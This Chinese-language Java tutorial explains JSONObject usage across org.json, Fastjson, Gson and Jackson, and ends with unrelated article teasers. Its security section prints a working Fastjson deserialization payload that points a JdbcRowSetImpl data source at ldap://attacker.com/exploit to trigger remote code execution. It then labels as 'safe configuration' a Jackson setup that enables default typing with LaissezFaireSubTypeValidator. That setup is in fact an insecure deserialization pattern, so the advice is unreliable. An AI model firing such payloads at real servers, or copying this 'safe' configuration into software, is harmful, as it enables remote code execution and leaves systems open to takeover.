Java中的JSONObject詳解:從基礎到高級應用

Java中的JSONObject詳解:從基礎到高級應用

在當今前后端分離的架構中,JSONObject已成為Java開發者處理JSON數據的瑞士軍刀。本文將深入解析JSONObject的核心機制與實戰技巧。


一、JSONObject的本質與實現庫

1.1 核心定位

JSONObject是Java中表示JSON對象的容器類,其底層采用Map<String, Object>存儲數據。主要實現庫包括:

  • org.json:輕量級基礎庫(JSON-Java)
  • Fastjson:阿里高性能庫(已退役)
  • Gson:Google官方庫
  • Jackson:Spring生態默認庫
1.2 核心特性對比
特性org.jsonFastjsonGsonJackson
序列化速度中等極快極快
反序列化安全安全高危漏洞安全安全
內存占用中等中等
流式API××

二、基礎操作:四步掌握核心API

2.1 創建與初始化
// 空對象創建
JSONObject obj = new JSONObject();// 鏈式構造
JSONObject user = new JSONObject().put("id", 1001).put("name", "張三").put("isAdmin", true);// Map初始化
Map<String, Object> data = new HashMap<>();
data.put("email", "zhangsan@example.com");
JSONObject fromMap = new JSONObject(data);
2.2 數據存取
// 安全取值(避免NullPointerException)
String name = user.optString("name", "未知");// 類型轉換
int id = user.getInt("id");// 嵌套對象訪問
JSONObject address = user.getJSONObject("address");
String city = address.getString("city");
2.3 常用工具方法
// 鍵存在檢查
if(user.has("mobile")) {// 處理手機號
}// 刪除字段
user.remove("isAdmin");// 轉標準JSON字符串
String jsonStr = user.toString();
2.4 迭代遍歷
Iterator<String> keys = user.keys();
while(keys.hasNext()) {String key = keys.next();Object value = user.get(key);System.out.println(key + ": " + value);
}

三、類型轉換:Java對象與JSON互轉

3.1 JavaBean轉JSONObject
// Gson實現
Gson gson = new Gson();
User userObj = new User(1001, "張三");
JSONObject userJson = new JSONObject(gson.toJson(userObj));// Jackson實現
ObjectMapper mapper = new ObjectMapper();
JSONObject userJson = mapper.convertValue(userObj, JSONObject.class);
3.2 JSONObject轉JavaBean
// org.json實現
User user = new User();
user.setId(userJson.getInt("id"));
user.setName(userJson.getString("name"));// Gson實現
User user = gson.fromJson(userJson.toString(), User.class);
3.3 復雜類型處理
// 日期格式化
Gson gson = new GsonBuilder().setDateFormat("yyyy-MM-dd HH:mm:ss").create();// 泛型集合轉換
List<User> users = gson.fromJson(jsonArray.toString(), new TypeToken<List<User>>(){}.getType()
);

四、高級特性:玩轉復雜數據結構

4.1 處理嵌套JSON
JSONObject order = new JSONObject();
order.put("orderNo", "20230815001");// 嵌套對象
JSONObject customer = new JSONObject();
customer.put("name", "李四");
order.put("customer", customer);// 嵌套數組
JSONArray products = new JSONArray();
products.put(new JSONObject().put("name", "iPhone").put("price", 6999));
products.put(new JSONObject().put("name", "AirPods").put("price", 1299));
order.put("products", products);
4.2 JSONPath查詢
// Jayway JSONPath 實現
DocumentContext ctx = JsonPath.parse(order.toString());
Double totalPrice = ctx.read("$.products[*].price.sum()");// 修改嵌套值
ctx.set("$.customer.name", "王五");
4.3 流式處理(Jackson)
JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(jsonStr);while(parser.nextToken() != null) {String field = parser.getCurrentName();if("price".equals(field)) {parser.nextToken();double price = parser.getDoubleValue();// 處理價格數據}
}
parser.close();

五、性能優化:關鍵策略與陷阱規避

5.1 序列化性能對比(10萬次操作)
序列化時間反序列化時間內存占用
org.json650ms720ms120MB
Fastjson210ms230ms180MB
Gson380ms410ms150MB
Jackson190ms200ms110MB
5.2 最佳實踐
  1. 對象復用:避免頻繁創建JSONObject實例

  2. 預分配空間:初始化時預估字段數量

    JSONObject obj = new JSONObject(20); // 初始容量20
    
  3. 選擇合適庫

    • 高性能場景:Jackson
    • Android開發:Gson
    • 簡單工具類:org.json
  4. 避免常見陷阱

    // 錯誤:JSONObject不實現Serializable
    // 正確:轉換為字符串存儲
    String jsonStr = obj.toString();// 循環引用導致棧溢出
    obj.put("self", obj); // 禁止!
    

六、安全防護:JSON處理中的雷區

6.1 Fastjson漏洞案例
// 反序列化漏洞觸發
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/exploit\",\"autoCommit\":true}";
JSON.parseObject(maliciousJson); // RCE攻擊!
6.2 安全編碼規范
  1. 輸入過濾

    if(jsonStr.contains("@type")) {throw new SecurityException("危險數據類型!");
    }
    
  2. 使用安全配置(Jackson):

    ObjectMapper mapper = new ObjectMapper();
    mapper.enable(JsonParser.Feature.IGNORE_UNDEFINED);
    mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);
    mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);
    
  3. 升級策略

    • 定期更新JSON庫版本
    • 使用漏洞掃描工具(OWASP Dependency-Check)

七、實戰應用場景

7.1 API請求構建
JSONObject request = new JSONObject();
request.put("apiKey", API_KEY);
request.put("timestamp", System.currentTimeMillis());JSONObject params = new JSONObject();
params.put("page", 1);
params.put("size", 20);
request.put("params", params);// 生成簽名
String sign = sign(request.toString());
request.put("sign", sign);
7.2 配置文件解析
# config.json
{"database": {"url": "jdbc:mysql://localhost:3306/app","user": "root"},"threadPool": {"coreSize": 10,"maxSize": 50}
}
JSONObject config = new JSONObject(new FileReader("config.json"));
String dbUrl = config.getJSONObject("database").getString("url");
int coreThreads = config.getJSONObject("threadPool").getInt("coreSize");
7.3 數據脫敏處理
public JSONObject maskSensitive(JSONObject data) {JSONObject masked = new JSONObject(data.toString());if(masked.has("idCard")) {String idCard = masked.getString("idCard");masked.put("idCard", idCard.substring(0,3) + "********" + idCard.substring(14));}if(masked.has("mobile")) {String mobile = masked.getString("mobile");masked.put("mobile", mobile.substring(0,3) + "****" + mobile.substring(7));}return masked;
}

八、未來演進:JSON處理新趨勢

8.1 JSON5擴展支持
// 支持注釋、單引號等特性
{name: '張三', // 用戶姓名age: 28,tags: ['程序員', '攝影師'],
}
8.2 JSON Schema驗證
// 使用Everit實現
Schema schema = SchemaLoader.load(new JSONObject("{\"type\":\"object\",\"properties\":{\"age\":{\"type\":\"integer\"}}}"
));
schema.validate(userJson); // 驗證數據格式
8.3 二進制JSON方案
  • MessagePack:序列化大小比JSON小50%
  • BSON:MongoDB的二進制JSON格式
  • Smile:Jackson的二進制JSON實現

性能實測:在百萬級數據場景下,MessagePack的序列化速度比標準JSON快3倍,網絡傳輸體積減少60%。


結語:JSONObject的哲學思考

JSONObject在Java生態中扮演著數據通用語的角色,其價值體現在三個維度:

  1. 結構靈活性:自由嵌套的樹形結構
  2. 跨平臺性:所有編程語言支持的標準格式
  3. 開發效率:快速實現對象序列化與傳輸

終極建議

  • 簡單場景:優先選用輕量級org.json
  • 高性能要求:選擇Jackson或Gson
  • 敏感系統:禁用Fastjson,開啟安全配置
  • 大數據量:考慮二進制JSON方案

根據2023年JVM生態調查報告,JSON處理占典型Web應用CPU時間的15%-30%。合理選擇JSON庫并優化使用方式,可顯著提升系統性能。掌握JSONObject不僅是技術需求,更是現代Java開發者的必備素養。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/83722.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/83722.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/83722.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

在 SpringBoot+Tomcat 環境中 線程安全問題的根本原因以及哪些變量會存在線程安全的問題。

文章目錄 前言Tomcat SpringBoot單例加載結果分析多例加載&#xff1a;結果分析&#xff1a; 哪些變量存在線程安全的問題&#xff1f;線程不安全線程安全 總結 前言 本文帶你去深入理解為什么在web環境中(Tomcat SpringBoot)會存在多線程的問題以及哪些變量會存在線程安全的…

npm install 相關命令

npm install 相關命令 基本安裝命令 # 安裝 package.json 中列出的所有依賴 npm install npm i # 簡寫形式# 安裝特定包 npm install <package-name># 安裝特定版本 npm install <package-name><version>依賴類型選項 # 安裝為生產依賴&#xff08;默認&…

貪心算法應用:最小反饋頂點集問題詳解

貪心算法應用&#xff1a;最小反饋頂點集問題詳解 1. 問題定義與背景 1.1 反饋頂點集定義 反饋頂點集(Feedback Vertex Set, FVS)是指在一個有向圖中&#xff0c;刪除該集合中的所有頂點后&#xff0c;圖中將不再存在任何有向環。換句話說&#xff0c;反饋頂點集是破壞圖中所…

BiliNote部署實踐

? 開源地址&#xff1a; https://github.com/JefferyHcool/BiliNote &#x1f680; 快速開始 1. 克隆倉庫 git clone https://github.com/JefferyHcool/BiliNote.git cd BiliNote mv .env.example .env2. 啟動后端&#xff08;FastAPI&#xff09; cd backend pip insta…

用go從零構建寫一個RPC(4)--gonet網絡框架重構+聚集發包

在追求高性能的分布式系統中&#xff0c;RPC 框架的底層網絡能力和數據傳輸效率起著決定性作用。經過幾輪迭代優化&#xff0c;我完成了第四版本的 RPC 框架。相比以往版本&#xff0c;這一版本的最大亮點在于 重寫了底層網絡框架 和 實現了發送端的數據聚集機制&#xff0c;這…

MySQL 高可用基石 - 復制監控與常見 HA 方案

MySQL 高可用基石 - 復制監控與常見 HA 方案 MySQL 復制核心原理 MySQL 復制允許數據從一個 MySQL 數據庫服務器(稱為主庫 - Primary,舊稱 Master)復制到一個或多個其他的 MySQL 服務器(稱為從庫 - Replica,舊稱 Slave)。 復制的主要目的: 高可用性 (High Availability…

微信小程序(uniapp)自定義 TabBar

微信小程序&#xff08;uniapp&#xff09;自定義 TabBar 實現指南 在微信小程序開發中&#xff0c;TabBar 是底部導航欄的重要組件&#xff0c;但官方提供的 TabBar 樣式和功能較為基礎&#xff0c;無法滿足所有項目的需求。本文將詳細介紹如何在 uniapp 中實現自定義 TabBar…

MLP實戰二:MLP 實現圖像數字多分類

任務 實戰&#xff08;二&#xff09;&#xff1a;MLP 實現圖像多分類 基于 mnist 數據集&#xff0c;建立 mlp 模型&#xff0c;實現 0-9 數字的十分類 task: 1、實現 mnist 數據載入&#xff0c;可視化圖形數字&#xff1b; 2、完成數據預處理&#xff1a;圖像數據維度轉換與…

BUUCTF[HCTF 2018]WarmUp 1題解

BUUCTF[HCTF 2018]WarmUp 1題解 分析解題過程代碼審計主體函數CHECK函數&#xff1a; 構造payload 總結 分析 啟動靶機&#xff0c;進入網址&#xff0c;是一張滑稽的表情包&#xff1a; 程序化F12查看源碼&#xff1a; 發現注釋內容&#xff0c;訪問 url:/source.php得到…

大陸4D毫米波雷達ARS548調試

本文介紹了大陸ARS548毫米波雷達的調試與測試流程&#xff0c;主要包括以下內容&#xff1a; 設備參數&#xff1a;最大檢測距離301m&#xff08;可調93-1514m&#xff09;&#xff0c;支持gPTP時間同步。 接線調試&#xff1a; Windows需使用USB-RJ45轉換器 Linux可直接連接網…

TDengine 的 AI 應用實戰——運維異常檢測

作者&#xff1a; derekchen Demo數據集準備 我們使用公開的 NAB數據集 里亞馬遜 AWS 東海岸數據中心一次 API 網關故障中&#xff0c;某個服務器上的 CPU 使用率數據。數據的頻率為 5min&#xff0c;單位為占用率。由于 API 網關的故障&#xff0c;會導致服務器上的相關應用…

并發編程 - go版

1.并發編程基礎概念 進程和線程 A. 進程是程序在操作系統中的一次執行過程&#xff0c;系統進行資源分配和調度的一個獨立單位。B. 線程是進程的一個執行實體,是CPU調度和分派的基本單位,它是比進程更小的能獨立運行的基本單位。C.一個進程可以創建和撤銷多個線程;同一個進程中…

《一生一芯》數字實驗三:加法器與ALU

1. 實驗目標 設計一個能實現如下功能的4位帶符號位的 補碼 ALU&#xff1a; Table 4 ALU 功能列表 ? 功能選擇 功能 操作 000 加法 AB 001 減法 A-B 010 取反 Not A 011 與 A and B 100 或 A or B 101 異或 A xor B 110 比較大小 If A<B then out1…

解讀《網絡安全法》最新修訂,把握網絡安全新趨勢

《網絡安全法》自2017年施行以來&#xff0c;在維護網絡空間安全方面發揮了重要作用。但隨著網絡環境的日益復雜&#xff0c;網絡攻擊、數據泄露等事件頻發&#xff0c;現行法律已難以完全適應新的風險挑戰。 2025年3月28日&#xff0c;國家網信辦會同相關部門起草了《網絡安全…

Java并發編程實戰 Day 10:原子操作類詳解

【Java并發編程實戰 Day 10】原子操作類詳解 開篇 這是“Java并發編程實戰”系列的第10天&#xff0c;我們將深入探討原子操作類的核心技術——CAS原理、ABA問題以及原子類的實現機制。通過理論結合代碼實踐的方式&#xff0c;幫助讀者理解并掌握如何在實際工作中高效使用原子…

瀚文機械鍵盤固件開發詳解:HWKeyboard.h文件解析與應用

【手把手教程】從零開始的機械鍵盤固件開發&#xff1a;HWKeyboard.h詳解 前言 大家好&#xff0c;我是鍵盤DIY愛好者Despacito0o&#xff01;今天想和大家分享我開發的機械鍵盤固件核心頭文件HWKeyboard.h的設計思路和技術要點。這個項目是我多年來對鍵盤固件研究的心血結晶…

2048游戲的技術實現分析-完全Java和Processing版

目錄 簡介Processing庫基礎項目構建指南項目結構核心數據結構游戲核心機制圖形界面實現性能優化代碼詳解設計模式分析測試策略總結與展望簡介 2048是一款由Gabriele Cirulli開發的經典益智游戲。本文將深入分析其Java實現版本的技術細節。該實現使用了Processing庫來創建圖形界…

Spring Boot + Elasticsearch + HBase 構建海量數據搜索系統

Spring Boot Elasticsearch HBase 構建海量數據搜索系統 &#x1f4d6; 目錄 1. 系統需求分析2. 系統架構設計3. Elasticsearch 與 HBase 集成方案4. Spring Boot 項目實現5. 大規模搜索系統最佳實踐 項目概述 本文檔提供了基于 Spring Boot、Elasticsearch 和 HBase 構建…

【iOS】YYModel源碼解析

YYModel源碼解析 文章目錄 YYModel源碼解析前言YYModel性能優勢YYModel簡介YYClassInfo解析YYClassIvarInfo && objc_ivarYYClassMethodInfo && objc_methodYYClassPropertyInfo && property_tYYClassInfo && objc_class YYClassInfo的初始化細…

宇樹科技更名“股份有限公司”深度解析:機器人企業IPO前奏與資本化路徑

從技術落地到資本躍遷&#xff0c;拆解股改背后的上市邏輯與行業啟示 核心事件&#xff1a;股改釋放的上市信號 2025年5月28日&#xff0c;杭州宇樹科技有限公司正式更名“杭州宇樹科技股份有限公司”&#xff0c;市場主體類型變更為“股份有限公司”。盡管官方稱為常規運營調…